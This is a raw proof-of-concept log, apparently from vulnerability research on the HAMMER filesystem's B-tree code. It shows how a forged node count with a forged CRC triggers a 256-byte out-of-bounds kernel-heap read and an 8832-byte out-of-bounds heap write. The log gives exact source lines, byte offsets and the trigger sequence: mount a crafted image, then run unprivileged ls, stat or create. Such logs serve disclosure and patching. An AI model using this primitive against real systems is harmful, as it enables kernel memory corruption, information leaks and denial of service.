==== DF-0776 production (INVARIANTS-OFF) OOB primitive proof ==== forged node->count = 200 (HAMMER_BTREE_LEAF_ELMS = 63) elms[] array holds 63 elements (4032 bytes); node buffer = 4096 bytes ---- (1) OOB READ: hammer_btree_search_node() + btree_search leaf loop ---- hammer_btree_search_node(key, node) [hammer_btree.c:1390] [search_node] OOB READ at elms[100] (byte +6400, +2368 past elms[] end) [search_node] OOB READ at elms[150] (byte +9600, +5568 past elms[] end) [search_node] OOB READ at elms[175] (byte +11200, +7168 past elms[] end) [search_node] OOB READ at elms[187] (byte +11968, +7936 past elms[] end) [search_node] OOB READ at elms[193] (byte +12352, +8320 past elms[] end) [search_node] OOB READ at elms[196] (byte +12544, +8512 past elms[] end) btree_search leaf loop [hammer_btree.c:1289-1290] i = search_node_result = 196 while (i < node->count) { elm = &node->elms[i]; cmp(); ++i; } => walked elms[196..199]; first OOB at elms[196] => 4 OOB element reads = 256 bytes beyond elms[] end => 256 bytes read PAST the 4096-byte node buffer into kernel heap >>> OOB KERNEL-HEAP READ (info leak / panic on guard page) <<< sample bytes from first OOB element: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc (0xCC = adjacent kernel heap; real kernel exposes live slab data) ---- (2) OOB WRITE: hammer_btree_insert() bcopy [hammer_btree.c:819-824] ---- count=200, i(cursor->index)=0 if (i != count) bcopy(&elms[i], &elms[i+1], (count-i)*sizeof(elm)); => bcopy of 12800 bytes (200 * 64) source: elms[0] .. elms[199] (within/just past elms[]) dest : elms[1] .. elms[200] write ends at elms_base+12864 (elms[] ends at +4032; node buf ends at +4032) => 8832 bytes written past elms[] end => 8832 bytes written PAST the 4096-byte node buffer into kernel heap adjacent-heap bytes clobbered by the shift (were 0xCC): aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa (0xAA = shifted node data now overwriting neighbouring heap) >>> OOB KERNEL-HEAP WRITE (corruption / controlled-size shift) <<< ==== summary ==== GENERIC (INVARIANTS ON): KKASSERT panic at hammer_btree.c:1278/818 (DoS). production (INVARIANTS OFF): 256-byte OOB heap read + 8832-byte OOB heap write trigger: mount crafted HAMMER image (root) + unpriv ls/stat (read) / unpriv create/mkdir (write). CRC forged so load passes.